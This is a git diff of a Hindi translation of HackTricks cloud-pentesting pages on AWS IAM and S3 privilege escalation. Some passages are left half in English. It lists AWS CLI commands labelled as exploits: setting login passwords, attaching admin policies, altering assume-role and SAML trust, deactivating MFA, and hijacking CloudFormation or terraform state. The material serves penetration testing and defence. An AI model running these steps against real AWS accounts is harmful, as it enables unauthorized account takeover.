+login profile बनाने या अपडेट करने की अनुमति देता है, जिसमें AWS console login के लिए पासवर्ड सेट करना शामिल है, जो सीधे privilege escalation की ओर ले जाता है।
**Exploit for Creation:**
```bash
@@ -55,51 +55,51 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password ''
```
-**प्रभाव:** "any" user के रूप में लॉग इन करके सीधे privilege escalation.
+**Impact:** किसी भी user के रूप में लॉगिन करके सीधे privilege escalation।
### **`iam:UpdateAccessKey`**
-निष्क्रिय access key को सक्षम करने की अनुमति देता है, जो संभावित रूप से unauthorized access का कारण बन सकता है यदि attacker के पास वह निष्क्रिय key हो।
+निष्क्रिय access key को सक्रिय करने की अनुमति देता है, जिससे संभवतः अनधिकृत पहुँच हो सकती है यदि attacker के पास वह निष्क्रिय access key मौजूद हो।
**Exploit:**
```bash
aws iam update-access-key --access-key-id --status Active --user-name
```
-**प्रभाव:** access keys को पुनः सक्रिय करके प्रत्यक्ष privilege escalation।
+**प्रभाव:** एक्सेस कुंजियाँ पुनः सक्रिय करके सीधे privilege escalation संभव।
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
-विशिष्ट AWS सेवाओं (उदा., CodeCommit, Amazon Keyspaces) के लिए credentials जनरेट या रिसेट करने की अनुमति देता है, जो संबंधित उपयोगकर्ता की permissions को विरासत में लेते हैं।
+विशिष्ट AWS सेवाओं (उदा., CodeCommit, Amazon Keyspaces) के लिए क्रेडेंशियल्स उत्पन्न करने या रीसेट करने की अनुमति देता है, जो संबद्ध उपयोगकर्ता की अनुमतियाँ प्राप्त करते हैं।
**Exploit for Creation:**
```bash
aws iam create-service-specific-credential --user-name --service-name
```
-**रीसेट के लिए Exploit:**
+**Reset के लिए Exploit:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id
```
-**प्रभाव:** Direct privilege escalation उपयोगकर्ता की सेवा अनुमतियों के भीतर।
+**Impact:** उपयोगकर्ता की सेवा अनुमतियों के भीतर सीधे privilege escalation।
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
-यह उपयोगकर्ताओं या समूहों पर नीतियाँ अटैच करने की अनुमति देता है, संलग्न नीति की अनुमतियों को ग्रहण करके सीधे privileges बढ़ा देता है।
+यह उपयोगकर्ताओं या समूहों पर नीतियाँ संलग्न करने की अनुमति देता है, और संलग्न नीति की अनुमतियाँ प्राप्त करके सीधे अधिकार बढ़ा देता है।
-**Exploit उपयोगकर्ता के लिए:**
+**Exploit for User:**
```bash
aws iam attach-user-policy --user-name --policy-arn ""
```
-**Group के लिए Exploit:**
+**समूह के लिए Exploit:**
```bash
aws iam attach-group-policy --group-name --policy-arn ""
```
-**प्रभाव:** नीति द्वारा दिए गए किसी भी अधिकार तक सीधे privilege escalation।
+**प्रभाव:** नीति द्वारा प्रदान किए गए किसी भी अधिकार पर प्रत्यक्ष privilege escalation।
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
-यह रोल, उपयोगकर्ता, या समूहों पर नीतियाँ संलग्न (attach) या जोड़ने (put) की अनुमति देता है, जिससे अतिरिक्त अनुमतियाँ प्रदान करके सीधे privilege escalation संभव होता है।
+यह roles, users, या groups पर नीतियाँ attach/put करने की अनुमति देता है, जिससे अतिरिक्त अनुमतियाँ देकर सीधे privilege escalation संभव हो जाता है।
-**Exploit for Role:**
+Role के लिए Exploit:
```bash
aws iam attach-role-policy --role-name --policy-arn ""
```
@@ -114,7 +114,7 @@ aws iam put-group-policy --group-name --policy-name ""
aws iam put-role-policy --role-name --policy-name "" \
--policy-document file:///path/to/policy.json
```
-आप इस तरह की नीति का उपयोग कर सकते हैं:
+आप निम्नलिखित नीति का उपयोग कर सकते हैं:
```json
{
"Version": "2012-10-17",
@@ -127,28 +127,28 @@ aws iam put-role-policy --role-name --policy-name "" \
]
}
```
-**प्रभाव:** नीतियों के माध्यम से अनुमतियाँ जोड़कर सीधे privilege escalation।
+**प्रभाव:** नीतियों के माध्यम से permissions जोड़कर सीधे privilege escalation होता है।
### **`iam:AddUserToGroup`**
-खुद को एक IAM group में जोड़ने की अनुमति देता है, जिससे समूह की अनुमतियाँ inherit करके privileges escalate हो जाते हैं।
+खुद को एक IAM group में जोड़ने की अनुमति देता है, समूह की permissions को inherit करके privileges escalate हो जाते हैं।
**Exploit:**
```bash
aws iam add-user-to-group --group-name --user-name
```
-**Impact:** समूह के permissions के स्तर तक Direct privilege escalation।
+**प्रभाव:** सीधे समूह की permissions के स्तर तक privilege escalation।
### **`iam:UpdateAssumeRolePolicy`**
-यह किसी role के assume role policy document को बदलने की अनुमति देता है, जिससे उस role और उससे संबंधित permissions को assume करना संभव हो जाता है।
+एक role के assume role policy document को बदलने की अनुमति देता है, जिससे उस role को assume करने और उससे जुड़ी permissions का उपयोग करने में सक्षम होता है।
**Exploit:**
```bash
aws iam update-assume-role-policy --role-name \
--policy-document file:///path/to/assume/role/policy.json
```
-जहाँ पॉलिसी निम्नलिखित जैसी दिखती है, जो उपयोगकर्ता को भूमिका ग्रहण करने की अनुमति देती है:
+जहाँ पॉलिसी नीचे दिखाए अनुसार है, जो उपयोगकर्ता को उस रोल को assume करने की अनुमति देती है:
```json
{
"Version": "2012-10-17",
@@ -163,17 +163,17 @@ aws iam update-assume-role-policy --role-name \
]
}
```
-**Impact:** किसी भी role की permissions को assume करके सीधे privilege escalation।
+**Impact:** किसी भी role की permissions को assume करके Direct privilege escalation संभव।
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
-यह CodeCommit के लिए authenticate करने हेतु SSH public key अपलोड करने और MFA devices को deactivate करने की अनुमति देता है, जिससे संभावित indirect privilege escalation हो सकता है।
+CodeCommit के लिए authenticating हेतु SSH public key अपलोड करने और MFA devices को deactivate करने की अनुमति देता है, जिससे संभावित indirect privilege escalation हो सकता है।
**Exploit for SSH Key Upload:**
```bash
aws iam upload-ssh-public-key --user-name --ssh-public-key-body
```
-**MFA निष्क्रियकरण के लिए Exploit:**
+**Exploit के लिए MFA निष्क्रियकरण:**
```bash
aws iam deactivate-mfa-device --user-name --serial-number
```
@@ -181,20 +181,20 @@ aws iam deactivate-mfa-device --user-name --serial-number --serial-number \
--authentication-code1 --authentication-code2
```
-**Impact:** अप्रत्यक्ष privilege escalation — MFA devices जोड़कर या उन्हें बदलकर।
+**प्रभाव:** MFA devices को जोड़ने या हेरफेर करने से अप्रत्यक्ष privilege escalation।
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
-इन permissions के साथ आप **SAML connection के XML metadata को बदल** सकते हैं। फिर, आप **SAML federation** का दुरुपयोग करके किसी भी **role** के साथ **login** कर सकते हैं जो उस पर trust करता है।
+इन अनुमतियों के साथ आप **SAML connection के XML metadata को बदल** सकते हैं। फिर, आप **SAML federation** का दुरुपयोग करके किसी भी **role जो उसे ट्रस्ट कर रहा हो** के साथ **login** कर सकते हैं।
-ध्यान दें कि ऐसा करने पर **legit users won't be able to login**। हालाँकि, आप XML प्राप्त कर सकते हैं, इसलिए आप अपना डालकर login कर सकते हैं और पहले वाले को फिर से configure कर सकते हैं।
+ध्यान दें कि ऐसा करने पर **legit users won't be able to login**। हालांकि, आप XML प्राप्त कर सकते हैं, अपना XML डालकर **login** कर सकते हैं और फिर पहले वाले को वापस कॉन्फ़िगर कर सकते हैं।
```bash
# List SAMLs
aws iam list-saml-providers
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar
aws iam update-saml-provider --saml-metadata-document --saml-provider-arn
```
> [!NOTE]
-> TODO: एक ऐसा टूल जो SAML metadata जेनरेट कर सके और निर्दिष्ट role के साथ login कर सके
+> TODO: एक Tool जो SAML metadata जनरेट करने और एक निर्दिष्ट role के साथ login करने में सक्षम हो
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
-(Unsure about this) यदि एक attacker के पास ये **permissions** हों, तो वह एक नया **Thumbprint** जोड़ सकता है जिससे वह उस provider पर भरोसा करने वाले सभी roles में login कर सके।
+(इस बारे में सुनिश्चित नहीं) यदि किसी attacker के पास ये **permissions** हों तो वह provider पर trust करने वाले सभी **roles** में login करने के लिए नया **Thumbprint** जोड़ सकता है।
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -226,7 +226,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
-यह permission attacker को किसी user के permissions boundary को अपडेट करने की अनुमति देता है, संभावित रूप से उनकी privileges escalate करते हुए उन्हें उन actions की अनुमति देकर जो सामान्यतः उनकी मौजूदा permissions द्वारा प्रतिबंधित होते हैं।
+यह permission एक attacker को किसी user की permissions boundary को अपडेट करने की अनुमति देता है, जिससे संभावित रूप से उनके privileges escalate हो सकते हैं और वे उन actions को कर पाएंगे जो सामान्यतः उनके existing permissions द्वारा प्रतिबंधित होते हैं।
```bash
aws iam put-user-permissions-boundary \
--user-name \
@@ -249,7 +249,7 @@ Un ejemplo de una política que no aplica ninguna restricción es:
```
### `iam:PutRolePermissionsBoundary`
-जिसके पास iam:PutRolePermissionsBoundary अनुमति है, वह मौजूदा role पर permissions boundary सेट कर सकता है। जोखिम तब उत्पन्न होता है जब इस अनुमति वाला व्यक्ति किसी role की boundary बदलता है: वह संचालन को अनुचित रूप से प्रतिबंधित कर सकता है (जिससे service disruption हो सकता है) या, यदि वह permissive boundary संलग्न करता है, तो प्रभावी रूप से role की क्षमताओं का विस्तार कर सकता है और privileges escalate कर सकता है।
+iam:PutRolePermissionsBoundary अनुमति रखने वाला व्यक्ति किसी मौजूदा role पर permissions boundary सेट कर सकता है। जोखिम तब उत्पन्न होता है जब इस अनुमति वाला कोई role की boundary बदलता है: वे संचालन को अनुचित रूप से सीमित कर सकते हैं (जिससे service disruption हो सकता है) या, अगर वे एक permissive boundary अटैच करते हैं, तो प्रभावी रूप से role की क्षमताओं का विस्तार कर सकते हैं और escalate privileges कर सकते हैं।
```bash
aws iam put-role-permissions-boundary \
--role-name \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
index 88d887c1c..cdaf76b75 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
@@ -6,9 +6,9 @@
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
-उन रुचिकर buckets पर उन permissions वाले attacker resources को hijack कर के privileges escalate कर सकता है।
+उन permissions वाले attacker जिनके पास रोचक buckets पर अधिकार हैं, वे resources को hijack कर सकते हैं और privileges escalate कर सकते हैं।
-उदाहरण के लिए, "cf-templates-nohnwfax6a6i-us-east-1" नामक **permissions over a cloudformation bucket** वाले attacker deployment को hijack करने में सक्षम होगा। निम्नलिखित policy से access दिया जा सकता है:
+उदाहरण के लिए, 'cf-templates-nohnwfax6a6i-us-east-1' नामक एक cloudformation bucket पर उन **permissions over a cloudformation bucket** वाले attacker deployment को hijack कर सकेंगे। यह access निम्नलिखित policy के साथ दिया जा सकता है:
```json
{
"Version": "2012-10-17",
@@ -34,29 +34,30 @@
]
}
```
-और hijack इसलिए संभव है क्योंकि template को bucket में upload किए जाने के क्षण से लेकर template के deploy होने तक एक **छोटी समय विंडो** होती है। एक attacker अपने account में एक **lambda function** बना सकता है जो **bucket notification भेजे जाने पर trigger** होगा, और उस **bucket** की **content** को **hijacks** कर लेगा।
+And the hijack is possible because there is a **template के bucket में upload होने के पल से लेकर template के deploy होने तक का छोटा समय अंतराल**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**.
.png>)
-The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) का उपयोग इस attack को automate करने के लिए किया जा सकता है।\
-अधिक जानकारी के लिए मूल research देखें: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
+The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\
+For more information check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
### `s3:PutObject`, `s3:GetObject`
-ये permissions हैं जो **S3 में objects को प्राप्त और अपलोड करने** के लिए होती हैं। AWS के अंदर (और बाहर) कई services S3 storage को **config फ़ाइलें** स्टोर करने के लिए उपयोग करती हैं।\
-अगर किसी attacker को इन पर **read access** है तो वह इनमें **sensitive information** पा सकता है।\
-और अगर किसी attacker के पास इन पर **write access** है तो वह **data को modify करके किसी service का दुरुपयोग कर सकता है और privileges escalate करने की कोशिश कर सकता है**।\
-ये कुछ उदाहरण हैं:
+These are the permissions to **S3 में objects को प्राप्त और अपलोड करने के लिए**. Several services inside AWS (and outside of it) use S3 storage to store **कॉन्फ़िग फाइलें**.\
+An attacker with **पढ़ने की अनुमति (read access)** to them might find **संवेदनशील जानकारी** on them.\
+An attacker with **लिखने की अनुमति (write access)** to them could **डेटा को modify करके किसी service का दुरुपयोग कर के privileges escalate करने की कोशिश कर सकता है**.\
+These are some examples:
-- अगर कोई EC2 instance **user data in a S3 bucket** स्टोर कर रहा है, तो attacker इसे modify करके **execute arbitrary code inside the EC2 instance** करवा सकता है।
+- If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **EC2 instance के अंदर arbitrary code execute करने के लिए तैयार कर देना**.
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
-यह बहुत सामान्य है कि [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state फाइलें cloud providers के blob storage में सेव की जाती हैं, जैसे AWS S3। state फाइल का suffix `.tfstate` होता है, और bucket के नाम अक्सर संकेत देते हैं कि वे terraform state files contain करते हैं। आमतौर पर हर AWS account में ऐसे state files स्टोर करने के लिए एक bucket होता है जो account की state दिखाते हैं। रियल-वर्ल्ड accounts में अक्सर अधिकांश developers के पास `s3:*` और कभी-कभी business users के पास भी `s3:Put*` permissions होते हैं।
+It is very common that the [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state files are being saved to blob storage of cloud providers, e.g. AWS S3. The file suffix for a state file is `.tfstate`, and the bucket names often also give away that they contain terraform state files. Usually, every AWS account has one such bucket to store the state files that show the state of the account.
+Also usually, in real world accounts almost always all developers have `s3:*` and sometimes even business users have `s3:Put*`.
-तो, यदि आपके पास इन फाइलों पर सूचीबद्ध permissions हैं, तो एक attack vector मौजूद है जो आपको pipeline में `terraform` की privileges के साथ RCE पाने का मौका देता है — अधिकांश मामलों में `AdministratorAccess`, जिससे आप cloud account के admin बन सकते हैं। आप इस vector का उपयोग `terraform` को legitimate resources delete करवाकर denial of service attack करने के लिए भी कर सकते हैं।
+So, if you have the permissions listed over these files, there is an attack vector that allows you to gain RCE in the pipeline with the privileges of `terraform` - most of the time `AdministratorAccess`, making you the admin of the cloud account. Also, you can use that vector to do a denial of service attack by making `terraform` delete legitimate resources.
-सीधा उपयोग करने योग्य exploit code के लिए *Abusing Terraform State Files* सेक्शन को *Terraform Security* पेज में देखें:
+Follow the description in the *Abusing Terraform State Files* section of the *Terraform Security* page for directly usable exploit code:
{{#ref}}
../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
@@ -64,7 +65,7 @@ The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/
### `s3:PutBucketPolicy`
-एक attacker, जिसे **same account** का होना चाहिए, अन्यथा error `The specified method is not allowed will trigger` दिखेगा, इस permission के साथ अपने लिए bucket(s) पर अधिक permissions grant कर सकता है जो उसे buckets को read, write, modify, delete और expose करने की अनुमति देते हैं।
+An attacker, that needs to be **from the same account**, if not the error `The specified method is not allowed will trigger`, with this permission will be able to grant himself more permissions over the bucket(s) allowing him to read, write, modify, delete and expose buckets.
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -122,8 +123,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -150,7 +151,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a
```
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
-एक attacker इन permissions का दुरुपयोग करके buckets के specific objects पर अपने लिए अधिक access दे सकता है।
+एक attacker इन permissions का दुरुपयोग करके buckets के specific objects पर अपने लिए अधिक access प्राप्त कर सकता है।
```bash
# Update bucket object ACL
aws s3api get-object-acl --bucket --key flag
@@ -177,16 +178,16 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli
```
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
-इन विशेषाधिकारों वाले हमलावर को किसी विशिष्ट object version पर Acl लगाने में सक्षम माना जाता है।
+An attacker with these privileges से अपेक्षा की जाती है कि वह किसी specific object version पर Acl लगा सके।
```bash
aws s3api get-object-acl --bucket --key flag
aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json
```
### `s3:PutBucketCORS`
-s3:PutBucketCORS permission वाले attacker किसी bucket की CORS (Cross-Origin Resource Sharing) configuration को बदल सकते हैं, जो नियंत्रित करती है कि कौन से web domains उसके endpoints तक access कर सकते हैं। यदि वे एक permissive policy सेट कर दें, तो कोई भी website सीधे bucket को requests भेज सकती है और browser से responses पढ़ सकती है।
+जिसके पास s3:PutBucketCORS permission है, एक हमलावर bucket की CORS (Cross-Origin Resource Sharing) कॉन्फ़िगरेशन को बदल सकता है, जो नियंत्रित करती है कि कौन से वेब डोमेन इसके endpoints तक पहुँच सकते हैं। यदि वे एक permissive नीति सेट करते हैं, तो कोई भी वेबसाइट सीधे bucket को अनुरोध भेज सकती है और ब्राउज़र से प्रतिक्रियाएँ पढ़ सकती है।
-इसका अर्थ है कि संभावित रूप से, यदि bucket से hosted किसी web app का authenticated user attacker की website पर जाता है, तो attacker permissive CORS policy का फायदा उठा सकता है और, application पर निर्भर करते हुए, user के profile डेटा तक पहुँच सकता है या यहाँ तक कि user का account hijack कर सकता है।
+इसका मतलब यह है कि संभावित रूप से, यदि bucket से होस्ट की गई किसी वेब ऐप का प्रमाणीकृत उपयोगकर्ता हमलावर की वेबसाइट पर जाता है, तो हमलावर permissive CORS नीति का शोषण कर सकता है और, एप्लिकेशन पर निर्भर करते हुए, उपयोगकर्ता के प्रोफ़ाइल डेटा तक पहुँच सकता है या यहाँ तक कि उपयोगकर्ता के खाते पर कब्ज़ा कर सकता है।
```bash
aws s3api put-bucket-cors \
--bucket \
diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md
index 3e01448b9..e3ffd716e 100644
--- a/src/pentesting-cloud/aws-security/aws-services/README.md
+++ b/src/pentesting-cloud/aws-security/aws-services/README.md
@@ -6,33 +6,27 @@
### कंटेनर सेवाएँ
-कंटेनर सेवाओं के अंतर्गत आने वाली सेवाओं की निम्नलिखित विशेषताएँ होती हैं:
+कंटेनर सेवाओं के तहत आने वाली सेवाओं की निम्नलिखित विशेषताएँ होती हैं:
-- सेवा स्वयं **अलग अवसंरचना इंस्टेंस** पर चलती है, जैसे EC2।
-- **AWS** ऑपरेटिंग सिस्टम और प्लेटफ़ॉर्म के प्रबंधन के लिए जिम्मेदार है।
-- AWS द्वारा एक प्रबंधित सेवा प्रदान की जाती है, जो आमतौर पर उन actual applications के लिए सेवा होती है जिन्हें containers के रूप में देखा जाता है।
-- इन कंटेनर सेवाओं के उपयोगकर्ता के रूप में आपकी कई प्रबंधन और सुरक्षा जिम्मेदारियाँ होती हैं, जिनमें नेटवर्क एक्सेस सुरक्षा का प्रबंधन शामिल है, जैसे network access control list rules और कोई भी firewalls।
-- साथ ही, जहाँ मौजूद हो वहाँ प्लेटफ़ॉर्म-स्तरीय identity and access management।
-- **उदाहरण** के तौर पर AWS container services में Relational Database Service, Elastic Mapreduce, और Elastic Beanstalk शामिल हैं।
+- सेवा स्वयं **अलग इंफ्रास्ट्रक्चर इंस्टेंस** पर चलती है, जैसे EC2।
+- **AWS** ऑपरेटिंग सिस्टम और प्लेटफ़ॉर्म **प्रबंधित करने के लिए उत्तरदायी** है।
+- एक managed service AWS द्वारा प्रदान की जाती है, जो आम तौर पर **वास्तविक एप्लिकेशन जिन्हें कंटेनर के रूप में देखा जाता है** वही होती है।
+- इन कंटेनर सेवाओं के उपयोगकर्ता के रूप में आपकी कुछ प्रबंधन और सुरक्षा जिम्मेदारियाँ होती हैं, जिनमें **नेटवर्क एक्सेस सुरक्षा, जैसे network access control list नियम और किसी भी फायरवॉल का प्रबंधन** शामिल है।
+- साथ ही, जहाँ मौजूद हो, प्लेटफ़ॉर्म-स्तरीय identity और access management।
+- **Examples** of AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk.
### अमूर्त सेवाएँ
-- ये सेवाएँ प्लेटफ़ॉर्म या प्रबंधन परत से **हटा दी गईं, अमूर्त** होती हैं जिनके ऊपर cloud applications बनाए जाते हैं।
-- सेवाओं तक AWS application programming interfaces, APIs के माध्यम से endpoints से पहुँच होती है।
+- ये सेवाएँ **प्लेटफ़ॉर्म या मैनेजमेंट लेयर से अलग, अमूर्त** होती हैं जिस पर cloud एप्लिकेशन बनाए जाते हैं।
+- सेवाएँ endpoints के माध्यम से AWS application programming interfaces, APIs के जरिए एक्सेस की जाती हैं।
- **नीचे की अवसंरचना, ऑपरेटिंग सिस्टम, और प्लेटफ़ॉर्म AWS द्वारा प्रबंधित** किए जाते हैं।
-- अमूर्त सेवाएँ एक multi-tenancy प्लेटफ़ॉर्म प्रदान करती हैं जहाँ नीचे की अवसंरचना साझा होती है।
-- **डेटा सुरक्षा तंत्रों के माध्यम से अलग किया जाता है।**
-- अमूर्त सेवाओं का IAM के साथ मजबूत एकीकरण होता है, और **उदाहरण** के रूप में S3, DynamoDB, Amazon Glacier, और SQS शामिल हैं।
+- अमूर्त सेवाएँ एक multi-tenancy प्लेटफ़ॉर्म प्रदान करती हैं जिस पर नीचे की अवसंरचना साझा की जाती है।
+- **डेटा को सुरक्षा तंत्रों के माध्यम से अलग किया जाता है।**
+- Abstract services का IAM के साथ मजबूत एकीकरण होता है, और **examples** में S3, DynamoDB, Amazon Glacier, और SQS शामिल हैं।
## सेवाओं की सूची
-**इस सेक्शन के पृष्ठ AWS service के अनुसार क्रमबद्ध हैं। वहाँ आप सेवा के बारे में जानकारी (यह कैसे काम करती है और इसकी क्षमताएँ) पा सकेंगे और वह आपको escalate privileges करने में सक्षम बनाएगी।**
+**The pages of this section are ordered by AWS service. In there you will be able to find information about the service (how it works and capabilities) and that will allow you to escalate privileges.**
-### संबंधित: Amazon Bedrock सुरक्षा
-
-{{#ref}}
-aws-bedrock-agents-memory-poisoning.md
-{{#endref}}
-
{{#include ../../../banners/hacktricks-training.md}}
.png)
.png)
.png)
.png)